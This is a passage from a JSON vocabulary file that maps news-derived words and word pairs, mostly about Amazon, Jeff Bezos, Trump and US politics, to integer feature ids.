\"hornet\": 121724,\n  \"indicated support\": 121725,\n  \"2018 alabama\": 121726,\n  \"fundamentally dangerous\": 121727,\n  \"images image\": 121728,\n  \"mona younis\": 121729,\n  \"making fortune\": 121730,\n  \"reform according\": 121731,\n  \"clear unsparing\": 121732,\n  \"posting billion\": 121733,\n  \"latest 2018q4\": 121734,\n  \"job machine\": 121735,\n  \"detected signs\": 121736,\n  \"china long\": 121737,\n  \"tolls listeners\": 121738,\n  \"government condemned\": 121739,\n  \"mocked fox\": 121740,\n  \"group tied\": 121741,\n  \"high think\": 121742,\n  \"marketplace reseller\": 121743,\n  \"usa places\": 121744,\n  \"announcement press\": 121745,\n  \"sanders applauded\": 121746,\n  \"rates hit\": 121747,\n  \"proactively try\": 121748,\n  \"alistair\": 121749,\n  \"board seats\": 121750,\n  \"poodle\": 121751,\n  \"sgt\": 121752,\n  \"romantic affairs\": 121753,\n  \"tosay\": 121754,\n  \"stock sees\": 121755,\n  \"isembeddable yes\": 121756,\n  \"young challengers\": 121757,\n  \"ipo price\": 121758,\n  \"secretary lindsay\": 121759,\n  \"election subscribe\": 121760,\n  \"bartiromo hmm\": 121761,\n  \"cortezthat\": 121762,\n  \"office celebrated\": 121763,\n  \"cnn explore\": 121764,\n  \"wide attention\": 121765,\n  \"feud trump\": 121766,\n  \"bandage\": 121767,\n  \"radioshack\": 121768,\n  \"improving labor\": 121769,\n  \"fedex usps\": 121770,\n  \"party long\": 121771,\n  \"concerns pennsylvania\": 121772,\n  \"esophagus\": 121773,\n  \"trump camp\": 121774,\n  \"doesn act\": 121775,\n  \"cellphones large\": 121776,\n  \"swagger\": 121777,\n  \"tabloid person\": 121778,\n  \"month old\": 121779,\n  \"china bezos\": 121780,\n  \"cigarettes products\": 121781,\n  \"dog lessons\": 121782,\n  \"deepak\": 121783,\n  \"specific matter\": 121784,\n  \"fixers\": 121785,\n  \"contributions acknowledging\": 121786,\n  \"potential recipients\": 121787,\n  \"generally defer\": 121788,\n  \"haphazard form\": 121789,\n  \"businesses grow\": 121790,\n  \"capital aileen\": 121791,\n  \"sculpture\": 121792,\n  \"fy16 fy17\": 121793,\n  \"markets analysts\": 121794,\n  \"amazon translate\": 121795,\n  \"identifying persons\": 121796,\n  \"baby jails\": 121797,\n  \"perverts\": 121798,\n  \"weapons according\": 121799,\n  \"inflation transit\": 121800,\n  \"conservative antipathy\": 121801,\n  \"award winning\": 121802,\n  \"local tech\": 121803,\n  \"rodrigo\": 121804,\n  \"play involved\": 121805,\n  \"training needed\": 121806,\n  \"enforcement orders\": 121807,\n  \"giant dreams\": 121808,\n  \"private materials\": 121809,\n  \"gov david\": 121810,\n  \"links partnered\": 121811,\n  \"skin photo\": 121812,\n  \"plant turbine\": 121813,\n  \"2776086\": 121814,\n  \"incredible leaders\": 121815,\n  \"shutdowns expect\": 121816,\n  \"prove devastating\": 121817,\n  \"initiating process\": 121818,\n  \"humble crow\": 121819,\n  \"utterly corrupt\": 121820,\n  \"size businesses\": 121821,\n  \"woodward copies\": 121822,\n  \"para\\u00edba\": 121823,\n  \"little closer\": 121824,\n  \"nasdaq yhoo\": 121825,\n  \"potential stake\": 121826,\n  \"world joe\": 121827,\n  \"net rolls\": 121828,\n  \"party transactions\": 121829,\n  \"imaginary\": 121830,\n  \"advise president\": 121831,\n  \"zuker uses\": 121832,\n  \"phrase rubenstein\": 121833,\n  \"amazon clovery\": 121834,\n  \"proposed trump\": 121835,\n  \"year lifting\": 121836,\n  \"needle meaning\": 121837,\n  \"autism link\": 121838,\n  \"fiction set\": 121839,\n  \"mainstream republican\": 121840,\n  \"thepresident gives\": 121841,\n  \"jpg 0x734\": 121842,\n  \"investors avoid\": 121843,\n  \"steps leading\": 121844,\n  \"economic affairs\": 121845,\n  \"receiving advantages\": 121846,\n  \"castrate\": 121847,\n  \"negative impacts\": 121848,\n  \"marketplace addressing\": 121849,\n  \"surprised wall\": 121850,\n  \"engineers created\": 121851,\n  \"sales president\": 121852,\n  \"billions writing\": 121853,\n  \"cbp web\": 121854,\n  \"patrimony\": 121855,\n  \"citi\": 121856,\n  \"orders zhang\": 121857,\n  \"advisor institutional\": 121858,\n  \"football scholarship\": 121859,\n  \"contact customercare\": 121860,\n  \"postal scoop\": 121861,\n  \"schmidt\": 121862,\n  \"kully\": 121863,\n  \"stone continues\": 121864,\n  \"market jeff\": 121865,\n  \"linsley file\": 121866,\n  \"tackles\": 121867,\n  \"fair consider\": 121868,\n  \"horton redux\": 121869,\n  \"sent 665\": 121870,\n  \"run deal\": 121871,\n  \"presidential nomination\": 121872,\n  \"microsoft executive\": 121873,\n  \"oreal heiress\": 121874,\n  \"juma\": 121875,\n  \"kidders bezos\": 121876,\n  \"8217 fault\": 121877,\n  \"kaijo\": 121878,\n  \"antitrust commissioner\": 121879,\n  \"year trillium\": 121880,\n  \"chris isidore\": 121881,\n  \"maximizing outcomes\": 121882,\n  \"closest advisers\": 121883,\n  \"long gone\": 121884,\n  \"cabal\": 121885,\n  \"perfect read\": 121886,\n  \"province\": 121887,\n  \"study says\": 121888,\n  \"tableau\": 121889,\n  \"disproportionately target\": 121890,\n  \"asylum claiming\": 121891,\n  \"right management\": 121892,\n  \"note bgsa\": 121893,\n  \"experiencing phenomenal\": 121894,\n  \"howard simon\": 121895,\n  \"including fictionalized\": 121896,\n  \"recent 450\": 121897,\n  \"demographics search\": 121898,\n  \"wrote damian\": 121899,\n  \"accused ne\": 121900,\n  \"rallies held\": 121901,\n  \"favorable regarding\": 121902,\n  \"stock lost\": 121903,\n  \"vaping industry\": 121904,\n  \"dramatic growth\": 121905,\n  \"boston university\": 121906,\n  \"republican conservative\": 121907,\n  \"episodes air\": 121908,\n  \"yuppie\": 121909,\n  \"mcdonald outlines\": 121910,\n  \"ba object\": 121911,\n  \"inured did\": 121912,\n  \"enabler\": 121913,\n  \"charts reported\": 121914,\n  \"nation cherishes\": 121915,\n  \"joint holdings\": 121916,\n  \"business ties\": 121917,\n  \"rockefeller euro\": 121918,\n  \"vice vice\": 121919,\n  \"goodies\": 121920,\n  \"buy property\": 121921,\n  \"growing animosity\": 121922,\n  \"thumb thing\": 121923,\n  \"headquarters thomas\": 121924,\n  \"redundancy criminally\": 121925,\n  \"settlements new\": 121926,\n  \"trivia\": 121927,\n  \"introducing new\": 121928,\n  \"cents apiece\": 121929,\n  \"vague threat\": 121930,\n  \"candles lined\": 121931,\n  \"mueller sasse\": 121932,\n  \"recognized\": 121933,\n  \"ex fbi\": 121934,\n  \"\\u014261\": 121935,\n  \"killing president\": 121936,\n  \"unfavorable stories\": 121937,\n  \"corp chief\": 121938,\n  \"mcdonald case\": 121939,\n  \"golder\": 121940,\n  \"jyyhycx1xb\": 121941,\n  \"corporate picked\": 121942,\n  \"discrimination assemblywoman\": 121943,\n  \"vacates ttab\": 121944,\n  \"completed items\": 121945,\n  \"innovations small\": 121946,\n  \"shows trump\": 121947,\n  \"milwaukee motorcycle\": 121948,\n  \"philadelphia pittsburgh\": 121949,\n  \"firms\": 121950,\n  \"200 price\": 121951,\n  \"deal spells\": 121952,\n  \"briefly dipping\": 121953,\n  \"receives dc\": 121954,\n  \"asknewswires dowjones\": 121955,\n  \"dwoskin\": 121956,\n  \"sanchez patrick\": 121957,\n  \"tech workers\": 121958,\n  \"taxation report\": 121959,\n  \"moving week\": 121960,\n  \"amendment pen\": 121961,\n  \"expect delicate\": 121962,\n  \"ashram\": 121963,\n  \"private clients\": 121964,\n  \"taken large\": 121965,\n  \"acquisition costs\": 121966,\n  \"enforcement trade\": 121967,\n  \"tabloid claimed\": 121968,\n  \"eengleman politico\": 121969,\n  \"skyscraper\": 121970,\n  \"amazon price\": 121971,\n  \"trump rightly\": 121972,\n  \"case google\": 121973,\n  \"development tax\": 121974,\n  \"litigation caused\": 121975,\n  \"actions secretary\": 121976,\n  \"microsoft shows\": 121977,\n  \"press\": 121978,\n  \"environmental protections\": 121979,\n  \"rauner\": 121980,\n  \"quality time\": 121981,\n  \"deathly hallows\": 121982,\n  \"technology adding\": 121983,\n  \"housing projects\": 121984,\n  \"wanton indecisiveness\": 121985,\n  \"bezos devices\": 121986,\n  \"showspinner\": 121987,\n  \"ciara linnane\": 121988,\n  \"secretive wall\": 121989,\n  \"tributes network\": 121990,\n  \"knock offs\": 121991,\n  \"photo vadim\": 121992,\n  \"singer giving\": 121993,\n  \"gqcknk available\": 121994,\n  \"inc_headline mark\": 121995,\n  \"winning author\": 121996,\n  \"structure senior\": 121997,\n  \"sitting\": 121998,\n  \"judicial watch\": 121999,\n  \"cruz just\": 122000,\n  \"county district\": 122001,\n  \"inevitable amazon\": 122002,\n  \"run america\": 122003,\n  \"buying power\": 122004,\n  \"senior white\": 122005,\n  \"cloud spending\": 122006,\n  \"van syckle\": 122007,\n  \"compensation insurance\": 122008,\n  \"pay relative\": 122009,\n  \"brilliantly\": 122010,\n  \"autocratic\": 122011,\n  \"companies google\": 122012,\n  \"nearly quarter\": 122013,\n  \"right morgan\": 122014,\n  \"ubiquitous ray\": 122015,\n  \"initiative\": 122016,\n  \"000 aftershocks\": 122017,\n  \"overweight view\": 122018,\n  \"earned bezos\": 122019,\n  \"region home\": 122020,\n  \"erratic trade\": 122021,\n  \"lose fortune\": 122022,\n  \"delivery delivery\": 122023,\n  \"elections donald\": 122024,\n  \"dunkin donuts\": 122025,\n  \"report europe\": 122026,\n  \"company relies\": 122027,\n  \"comments undermine\": 122028,\n  \"pg kamalohava\": 122029,\n  \"good brands\": 122030,\n  \"varicella varivax\": 122031,\n  \"hair modeled\": 122032,\n  \"office buffett\": 122033,\n  \"company certainly\": 122034,\n  \"gardening\": 122035,\n  \"computing infrastructure\": 122036,\n  \"theranos nasdaq\": 122037,\n  \"vintage craft\": 122038,\n  \"dug\": 122039,\n  \"clear pricing\": 122040,\n  \"photo juan\": 122041,\n  \"state attorney\": 122042,\n  \"fentanyl addiction\": 122043,\n  \"hits coupled\": 122044,\n  \"movie industry\": 122045,\n  \"owned research\": 122046,\n  \"reasons trump\": 122047,\n  \"food network\": 122048,\n  \"gawe83rdm9\": 122049,\n  \"housing bubble\": 122050,\n  \"genetically modified\": 122051,\n  \"breach excessively\": 122052,\n  \"premium linen\": 122053,\n  \"unwieldy health\": 122054,\n  \"oz\": 122055,\n  \"index looking\": 122056,\n  \"threatened duties\": 122057,\n  \"peach\": 122058,\n  \"olsavsky brian\": 122059,\n  \"diametrically opposed\": 122060,\n  \"chased\": 122061,\n  \"emulates\": 122062,\n  \"british drama\": 122063,\n  \"lincoln park\": 122064,\n  \"solidarity dozens\": 122065,\n  \"treme renders\": 122066,\n  \"compete\": 122067,\n  \"alessandra malito\": 122068,\n  \"activists rebuked\": 122069,\n  \"193 television\": 122070,\n  \"echo shares\": 122071,\n  \"just madness\": 122072,\n  \"servers openly\": 122073,\n  \"insurer alleges\": 122074,\n  \"breastfeeding\": 122075,\n  \"accra\": 122076,\n  \"persistently low\": 122077,\n  \"story ben\": 122078,\n  \"hewson says\": 122079,\n  \"newsy watch\": 122080,\n  \"offering ai\": 122081,\n  \"checkout\": 122082,\n  \"year expansion\": 122083,\n  \"sales company\": 122084,\n  \"deciding\": 122085,\n  \"richard shelby\": 122086,\n  \"service competes\": 122087,\n  \"2014 apple\": 122088,\n  \"concrete deal\": 122089,\n  \"homeland\": 122090,\n  \"post probably\": 122091,\n  \"term strategy\": 122092,\n  \"game 2018\": 122093,\n  \"forecasting\": 122094,\n  \"blood prince\": 122095,\n  \"older including\": 122096,\n  \"included copies\": 122097,\n  \"burning lying\": 122098,\n  \"w5 a7\": 122099,\n  \"institute free\": 122100,\n  \"showcasing\": 122101,\n  \"government acquisitions\": 122102,\n  \"crain new\": 122103,\n  \"trump hispanic\": 122104,\n  \"moscow collected\": 122105,\n  \"years received\": 122106,\n  \"finally took\": 122107,\n  \"thestreet brian\": 122108,\n  \"close won\": 122109,\n  \"surgeries\": 122110,\n  \"trump looking\": 122111,\n  \"perpetrator\": 122112,\n  \"crew make\": 122113,\n  \"identities specific\": 122114,\n  \"citizen amazon\": 122115,\n  \"fairness fox\": 122116,\n  \"trump continues\": 122117,\n  \"total foreign\": 122118,\n  \"special operations\": 122119,\n  \"google probe\": 122120,\n  \"sumpah pemuda\": 122121,\n  \"just quit\": 122122,\n  \"takes huge\": 122123,\n  \"low standard\": 122124,\n  \"people army\": 122125,\n  \"spacex startup\": 122126,\n  \"adolescent giggling\": 122127,\n  \"blocking entry\": 122128,\n  \"shorts break\": 122129,\n  \"undocumented teenager\": 122130,\n  \"shortsighted\": 122131,\n  \"evict\": 122132,\n  \"called prime\": 122133,\n  \"whipple famously\": 122134,\n  \"949\": 122135,\n  \"0kdlplqo2e\": 122136,\n  \"stores check\": 122137,\n  \"taliban appoints\": 122138,\n  \"accusations culminated\": 122139,\n  \"distinct advanatage\": 122140,\n  \"practices bezos\": 122141,\n  \"immediate raise\": 122142,\n  \"program energy\": 122143,\n  \"operating standards\": 122144,\n  \"retailers shares\": 122145,\n  \"stock amazon\": 122146,\n  \"richardson dan\": 122147,\n  \"pleasant electronics\": 122148,\n  \"totally unnecessary\": 122149,\n  \"purchased product\": 122150,\n  \"hall jeff\": 122151,\n  \"q1 2010\": 122152,\n  \"thermal sensing\": 122153,\n  \"039\": 122154,\n  \"2018 nicholas\": 122155,\n  \"givers\": 122156,\n  \"peace harmony\": 122157,\n  \"t000181710\": 122158,\n  \"dylan byers\": 122159,\n  \"fluffing\": 122160,\n  \"ryan cooper\": 122161,\n  \"ironically alcoa\": 122162,\n  \"favorite twitter\": 122163,\n  \"injured simply\": 122164,\n  \"rates china\": 122165,\n  \"tabloid editor\": 122166,\n  \"hairdo\": 122167,\n  \"boomboom pow\": 122168,\n  \"surprise inspection\": 122169,\n  \"old nyt\": 122170,\n  \"festival noir\": 122171,\n  \"manner mid\": 122172,\n  \"taxpayers\": 122173,\n  \"japan newsletters\": 122174,\n  \"amazon boosts\": 122175,\n  \"doctor cape\": 122176,\n  \"safety rep\": 122177,\n  \"buyers yesterday\": 122178,\n  \"shipping carriers\": 122179,\n  \"popping figure\": 122180,\n  \"literary professionals\": 122181,\n  \"politicians nonetheless\": 122182,\n  \"relentless coverage\": 122183,\n  \"chito ro\\u00f1o\": 122184,\n  \"months china\": 122185,\n  \"aut_title contributing\": 122186,\n  \"elected federal\": 122187,\n  \"trump policy\": 122188,\n  \"trump mike\": 122189,\n  \"years regulators\": 122190,\n  \"proposes ultra\": 122191,\n  \"drawing increasing\": 122192,\n  \"remained skeptical\": 122193,\n  \"condemned political\": 122194,\n  \"house ambitions\": 122195,\n  \"mightier\": 122196,\n  \"pulled pork\": 122197,\n  \"williams says\": 122198,\n  \"mile woolsey\": 122199,\n  \"package drones\": 122200,\n  \"single donald\": 122201,\n  \"article walgreens\": 122202,\n  \"giant frankly\": 122203,\n  \"sparked witch\": 122204,\n  \"buying gucci\": 122205,\n  \"carveouts\": 122206,\n  \"muckerman yeah\": 122207,\n  \"superficial\": 122208,\n  \"promised support\": 122209,\n  \"second television\": 122210,\n  \"butuan\": 122211,\n  \"female member\": 122212,\n  \"ofwhether\": 122213,\n  \"maneuvers decades\": 122214,\n  \"regulatory reforms\": 122215,\n  \"partisan times\": 122216,\n  \"amazon exacerbates\": 122217,\n  \"globally amazon\": 122218,\n  \"stupid questions\": 122219,\n  \"companies listed\": 122220,\n  \"surrounding international\": 122221,\n  \"competition president\": 122222,\n  \"usps monopolies\": 122223,\n  \"briefs disney\": 122224,\n  \"mccain delivers\": 122225,\n  \"witch hunt\": 122226,\n  \"tascent\": 122227,\n  \"closed lower\": 122228,\n  \"cards european\": 122229,\n  \"marks sanders\": 122230,\n  \"sets minimum\": 122231,\n  \"media watch\": 122232,\n  \"amazons illegal\": 122233,\n  \"city agencies\": 122234,\n  \"sears magnolia\": 122235,\n  \"post bearing\": 122236,\n  \"big scoop\": 122237,\n  \"owners potentially\": 122238,\n  \"taking adverse\": 122239,\n  \"hyperbolic\": 122240,\n  \"country mail\": 122241,\n  \"shouted\": 122242,\n  \"deeply reported\": 122243,\n  \"boost virginia\": 122244,\n  \"circulated letter\": 122245,\n  \"press bbc\": 122246,\n  \"second home\": 122247,\n  \"reportedly create\": 122248,\n  \"message today\": 122249,\n  \"marketplaces hosting\": 122250,\n  \"valued viewpoint\": 122251,\n  \"challenge broadcast\": 122252,\n  \"contracts bezos\": 122253,\n  \"trouble reporting\": 122254,\n  \"city insurgency\": 122255,\n  \"600 words\": 122256,\n  \"advisor ivanka\": 122257,\n  \"important financial\": 122258,\n  \"worker backlashes\": 122259,\n  \"nonexistent\": 122260,\n  \"employ workers\": 122261,\n  \"enemies sociopath\": 122262,\n  \"thousand cuts\": 122263,\n  \"west meeting\": 122264,\n  \"using usps\": 122265,\n  \"include peer\": 122266,\n  \"firingillegal immigrants\": 122267,\n  \"cake\": 122268,\n  \"spruces\": 122269,\n  \"bush surrounding\": 122270,\n  \"worth growing\": 122271,\n  \"shares saw\": 122272,\n  \"paul brandus\": 122273,\n  \"began negotiations\": 122274,\n  \"summers\": 122275,\n  \"suzy bannion\": 122276,\n  \"alibaba website\": 122277,\n  \"case earlier\": 122278,\n  \"soccer team\": 122279,\n  \"khalfani cox\": 122280,\n  \"term outlook\": 122281,\n  \"police precinct\": 122282,\n  \"pals\": 122283,\n  \"russia interfered\": 122284,\n  \"letter detailed\": 122285,\n  \"earth question\": 122286,\n  \"leased\": 122287,\n  \"lead fact\": 122288,\n  \"1914 expanded\": 122289,\n  \"prominently\": 122290,\n  \"populous counties\": 122291,\n  \"contract baby\": 122292,\n  \"frontloaded\": 122293,\n  \"began trending\": 122294,\n  \"potential service\": 122295,\n  \"gunjan\": 122296,\n  \"celebrated graham\": 122297,\n  \"record closing\": 122298,\n  \"brands business\": 122299,\n  \"presidents announced\": 122300,\n  \"converge\": 122301,\n  \"richard rahn\": 122302,\n  \"violate antitrust\": 122303,\n  \"campaign members\": 122304,\n  \"amazon accelerating\": 122305,\n  \"plan needs\": 122306,\n  \"cosby says\": 122307,\n  \"popular regulations\": 122308,\n  \"medical clinics\": 122309,\n  \"pollack bloomberg\": 122310,\n  \"need food\": 122311,\n  \"outlets serving\": 122312,\n  \"lining\": 122313,\n  \"punish amazon\": 122314,\n  \"commercial highlights\": 122315,\n  \"staking claims\": 122316,\n  \"shelling\": 122317,\n  \"trump wealth\": 122318,\n  \"famous bellow\": 122319,\n  \"candice bergen\": 122320,\n  \"verlagingen vinden\": 122321,\n  \"awards night\": 122322,\n  \"press access\": 122323,\n  \"catalano reported\": 122324,\n  \"negrete 510\": 122325,\n  \"profit doubles\": 122326,\n  \"ap reports\": 122327,\n  \"boricua\": 122328,\n  \"billionaire rivalry\": 122329,\n  \"takes hard\": 122330,\n  \"intermediary\": 122331,\n  \"trump trademarks\": 122332,\n  \"etf recession\": 122333,\n  \"wastes\": 122334,\n  \"supporting fedex\": 122335,\n  \"substantially reduce\": 122336,\n  \"written permission\": 122337,\n  \"thermometer\": 122338,\n  \"fewer misses\": 122339,\n  \"offer bid\": 122340,\n  \"tl media\": 122341,\n  \"keeley\": 122342,\n  \"unions labor\": 122343,\n  \"billion stake\": 122344,\n  \"saksoff5th\": 122345,\n  \"steal data\": 122346,\n  \"563 shares\": 122347,\n  \"frenemies\": 122348,\n  \"depend company\": 122349,\n  \"apps known\": 122350,\n  \"usps finances\": 122351,\n  \"aws representatives\": 122352,\n  \"tips portfolio\": 122353,\n  \"maya\": 122354,\n  \"way farmers\": 122355,\n  \"pogo ice\": 122356,\n  \"politico wapo\": 122357,\n  \"issues told\": 122358,\n  \"taken care\": 122359,\n  \"fedora says\": 122360,\n  \"total direct\": 122361,\n  \"kerr\": 122362,\n  \"summit change\": 122363,\n  \"budget mid\": 122364,\n  \"trump favourite\": 122365,\n  \"worst christmas\": 122366,\n  \"lobbyist sally\": 122367,\n  \"shorter\": 122368,\n  \"nonetheless feel\": 122369,\n  \"county teach\": 122370,\n  \"cocreator\": 122371,\n  \"bloomberg amazon\": 122372,\n  \"commerce fee\": 122373,\n  \"raoul\": 122374,\n  \"stations forte\": 122375,\n  \"\\u0645\\u0646\\u0634\\u0646\\u062a\\u0647\\u0645\": 122376,\n  \"somodevilla amazon\": 122377,\n  \"site index\": 122378,\n  \"community filled\": 122379,\n  \"foto sourcereuters\": 122380,\n  \"challenged allies\": 122381,\n  \"voice unlocking\": 122382,\n  \"ise chicago\": 122383,\n  \"phishing\": 122384,\n  \"strong stock\": 122385,\n  \"marketforce\": 122386,\n  \"101 allan\": 122387,\n  \"help poor\": 122388,\n  \"venturebeat\": 122389,\n  \"suspecting\": 122390,\n  \"candace\": 122391,\n  \"sell vast\": 122392,\n  \"investigation witch\": 122393,\n  \"certify businesses\": 122394,\n  \"increasingly difficult\": 122395,\n  \"i9\": 122396,\n  \"store hat\": 122397,\n  \"migrants allowed\": 122398,\n  \"earned better\": 122399,\n  \"leaked sexts\": 122400,\n  \"inside letters\": 122401,\n  \"criticized tax\": 122402,\n  \"bezos knew\": 122403,\n  \"chrysler pacifica\": 122404,\n  \"surgery team\": 122405,\n  \"disaster division\": 122406,\n  \"awakens\": 122407,\n  \"h0 getownpropertydescriptor\": 122408,\n  \"describes photos\": 122409,\n  \"replying\": 122410,\n  \"speech benioff\": 122411,\n  \"post hundreds\": 122412,\n  \"incendiary statements\": 122413,\n  \"big nights\": 122414,\n  \"using ties\": 122415,\n  \"simple naming\": 122416,\n  \"2018 otherearth\": 122417,\n  \"street opens\": 122418,\n  \"bootstrapper\": 122419,\n  \"collapse appeared\": 122420,\n  \"markupid videoloader\": 122421,\n  \"merger stiffler\": 122422,\n  \"empathy\": 122423,\n  \"europe staged\": 122424,\n  \"staying online\": 122425,\n  \"prior written\": 122426,\n  \"rapprochement\": 122427,\n  \"presidential alerts\": 122428,\n  \"bezos disclosed\": 122429,\n  \"business past\": 122430,\n  \"sanders rep\": 122431,\n  \"topples wax\": 122432,\n  \"exist trump\": 122433,\n  \"right dan\": 122434,\n  \"tracks missing\": 122435,\n  \"fixer\": 122436,\n  \"numbers actually\": 122437,\n  \"greece look\": 122438,\n  \"morning cable\": 122439,\n  \"executive jonathan\": 122440,\n  \"163 created\": 122441,\n  \"time significantly\": 122442,\n  \"trade foe\": 122443,\n  \"direct opposite\": 122444,\n  \"business position\": 122445,\n  \"usually publicity\": 122446,\n  \"pbs newshour\": 122447,\n  \"socialist activist\": 122448,\n  \"public transit\": 122449,\n  \"government trump\": 122450,\n  \"amazon supply\": 122451,\n  \"trump fractional\": 122452,\n  \"delivered deadly\": 122453,\n  \"2013 received\": 122454,\n  \"week host\": 122455,\n  \"shippers data\": 122456,\n  \"gives sanders\": 122457,\n  \"fivestar hotel\": 122458,\n  \"good ideas\": 122459,\n  \"credits loopholes\": 122460,\n  \"used picture\": 122461,\n  \"stagnation\": 122462,\n  \"width 120\": 122463,\n  \"leeds environment\": 122464,\n  \"happily clicking\": 122465,\n  \"committee assignments\": 122466,\n  \"charcuturie board\": 122467,\n  \"database software\": 122468,\n  \"violating antitrust\": 122469,\n  \"joe biden\": 122470,\n  \"bezos lending\": 122471,\n  \"newyorkcity\": 122472,\n  \"shares 946\": 122473,\n  \"convey facts\": 122474,\n  \"abolishing\": 122475,\n  \"gradually\": 122476,\n  \"uc5fyvorin maggie\": 122477,\n  \"ago known\": 122478,\n  \"minister tweeted\": 122479,\n  \"bufe\": 122480,\n  \"juncker\": 122481,\n  \"policy lieutenants\": 122482,\n  \"hemmer\": 122483,\n  \"scruggs black\": 122484,\n  \"head source\": 122485,\n  \"wearing donald\": 122486,\n  \"josh enomoto\": 122487,\n  \"idly\": 122488,\n  \"analyst issued\": 122489,\n  \"rashida jones\": 122490,\n  \"green groups\": 122491,\n  \"arrested want\": 122492,\n  \"ceo marillyn\": 122493,\n  \"778 037\": 122494,\n  \"darrel\": 122495,\n  \"bear cubs\": 122496,\n  \"privacy worry\": 122497,\n  \"gov bob\": 122498,\n  \"product placement\": 122499,\n  \"providing prime\": 122500,\n  \"acosta charging\": 122501,\n  \"tensions\": 122502,\n  \"catholic farm\": 122503,\n  \"width 460\": 122504,\n  \"interactive poll\": 122505,\n  \"groups criticized\": 122506,\n  \"successful referendum\": 122507,\n  \"inc_hide_video_prerollflag false\": 122508,\n  \"requirement\": 122509,\n  \"geforce rtx\": 122510,\n  \"namath\": 122511,\n  \"really interesting\": 122512,\n  \"act qualified\": 122513,\n  \"effective uniter\": 122514,\n  \"vet held\": 122515,\n  \"view significantly\": 122516,\n  \"dead body\": 122517,\n  \"firm walker\": 122518,\n  \"0408et\": 122519,\n  \"rescued\": 122520,\n  \"community strengthens\": 122521,\n  \"million pieces\": 122522,\n  \"fictional character\": 122523,\n  \"tax haven\": 122524,\n  \"icon jackie\": 122525,\n  \"sanders pointed\": 122526,\n  \"based ecommerce\": 122527,\n  \"send large\": 122528,\n  \"handling workplace\": 122529,\n  \"rejected evidence\": 122530,\n  \"additionally reporting\": 122531,\n  \"swings\": 122532,\n  \"patented drone\": 122533,\n  \"bezos representatives\": 122534,\n  \"biggest turkeys\": 122535,\n  \"exited\": 122536,\n  \"spots indebted\": 122537,\n  \"natasha korecki\": 122538,\n  \"bootnote eagle\": 122539,\n  \"politics played\": 122540,\n  \"insinuations\": 122541,\n  \"strategy tailored\": 122542,\n  \"options\": 122543,\n  \"blasted\": 122544,\n  \"tariff insurance\": 122545,\n  \"seekingalpha\": 122546,\n  \"spurs prosecutors\": 122547,\n  \"qsb6xijujc cynthia\": 122548,\n  \"really ideal\": 122549,\n  \"probably pleased\": 122550,\n  \"independent introduced\": 122551,\n  \"including investigating\": 122552,\n  \"latest dramatic\": 122553,\n  \"seen shipping\": 122554,\n  \"nantz\": 122555,\n  \"gideon\": 122556,\n  \"presumptive bid\": 122557,\n  \"unprecedented times\": 122558,\n  \"stepdaughter\": 122559,\n  \"sanders aggressive\": 122560,\n  \"investor david\": 122561,\n  \"recently aimed\": 122562,\n  \"firm raised\": 122563,\n  \"cap just\": 122564,\n  \"2016 just\": 122565,\n  \"steps retail\": 122566,\n  \"tariff hit\": 122567,\n  \"recent amazon\": 122568,\n  \"privacy labor\": 122569,\n  \"legislative hegemony\": 122570,\n  \"issues zinke\": 122571,\n  \"howard stern\": 122572,\n  \"licensing priority\": 122573,\n  \"typically pays\": 122574,\n  \"way customer\": 122575,\n  \"instructional\": 122576,\n  \"yesterday brazil\": 122577,\n  \"francisco\": 122578,\n  \"brussels amazon\": 122579,\n  \"regulators moves\": 122580,\n  \"woodward sixth\": 122581,\n  \"5000 model\": 122582,\n  \"novels\": 122583,\n  \"simply couldn\": 122584,\n  \"cools\": 122585,\n  \"135 words\": 122586,\n  \"local partners\": 122587,\n  \"financially illiterate\": 122588,\n  \"danhof stated\": 122589,\n  \"2017 kevin\": 122590,\n  \"barriers president\": 122591,\n  \"defunct white\": 122592,\n  \"dohastadium\": 122593,\n  \"pratt steps\": 122594,\n  \"\\u0430in\\u0430appearance\": 122595,\n  \"uptake\": 122596,\n  \"books especially\": 122597,\n  \"directly work\": 122598,\n  \"mode trump\": 122599,\n  \"door meeting\": 122600,\n  \"king wallow\": 122601,\n  \"rendering\": 122602,\n  \"shifts delivering\": 122603,\n  \"hill trump\": 122604,\n  \"downgraded\": 122605,\n  \"unnecessarily harsh\": 122606,\n  \"past books\": 122607,\n  \"spice baby\": 122608,\n  \"credit card\": 122609,\n  \"outside government\": 122610,\n  \"disable\": 122611,\n  \"consumer gadgets\": 122612,\n  \"yelp shares\": 122613,\n  \"post products\": 122614,\n  \"demands according\": 122615,\n  \"began punching\": 122616,\n  \"post damian\": 122617,\n  \"henderson\": 122618,\n  \"brooklyn genie\": 122619,\n  \"public reaction\": 122620,\n  \"longer deduct\": 122621,\n  \"size amazon\": 122622,\n  \"bonanza\": 122623,\n  \"mackenzie north\": 122624,\n  \"mattis did\": 122625,\n  \"journalists posted\": 122626,\n  \"grossly\": 122627,\n  \"murphy_51492\": 122628,\n  \"ally ceo\": 122629,\n  \"department homeland\": 122630,\n  \"recent decline\": 122631,\n  \"agendas page\": 122632,\n  \"saudi reporter\": 122633,\n  \"297\": 122634,\n  \"online tax\": 122635,\n  \"significant contributions\": 122636,\n  \"new overhaul\": 122637,\n  \"technologies discussed\": 122638,\n  \"million passages\": 122639,\n  \"rozic block\": 122640,\n  \"spigen\": 122641,\n  \"kenosha\": 122642,\n  \"sourcedaniel\": 122643,\n  \"biggest increase\": 122644,\n  \"remarkable 300\": 122645,\n  \"tabloid expose\": 122646,\n  \"trump transgender\": 122647,\n  \"pop surivor\": 122648,\n  \"cited weakening\": 122649,\n  \"way marty\": 122650,\n  \"membership offers\": 122651,\n  \"looked starstruck\": 122652,\n  \"000 signatures\": 122653,\n  \"charity lawsuit\": 122654,\n  \"casually\": 122655,\n  \"second viewing\": 122656,\n  \"agency\": 122657,\n  \"collapsed leaving\": 122658,\n  \"rebny eisenbach\": 122659,\n  \"preclude\": 122660,\n  \"wis\": 122661,\n  \"races highlights\": 122662,\n  \"obvious mistakes\": 122663,\n  \"threats pile\": 122664,\n  \"concrete actions\": 122665,\n  \"broadcast licenses\": 122666,\n  \"boiling\": 122667,\n  \"balce\": 122668,\n  \"amid partial\": 122669,\n  \"discrimination include\": 122670,\n  \"news meeting\": 122671,\n  \"largest house\": 122672,\n  \"hammer kavanaugh\": 122673,\n  \"amazon committing\": 122674,\n  \"best frozen\": 122675,\n  \"don mock\": 122676,\n  \"grant work\": 122677,\n  \"deal includes\": 122678,\n  \"romantic texts\": 122679,\n  \"amazon touts\": 122680,\n  \"verizon customers\": 122681,\n  \"substantive progress\": 122682,\n  \"considerably lower\": 122683,\n  \"complaint\": 122684,\n  \"curtis ellis\": 122685,\n  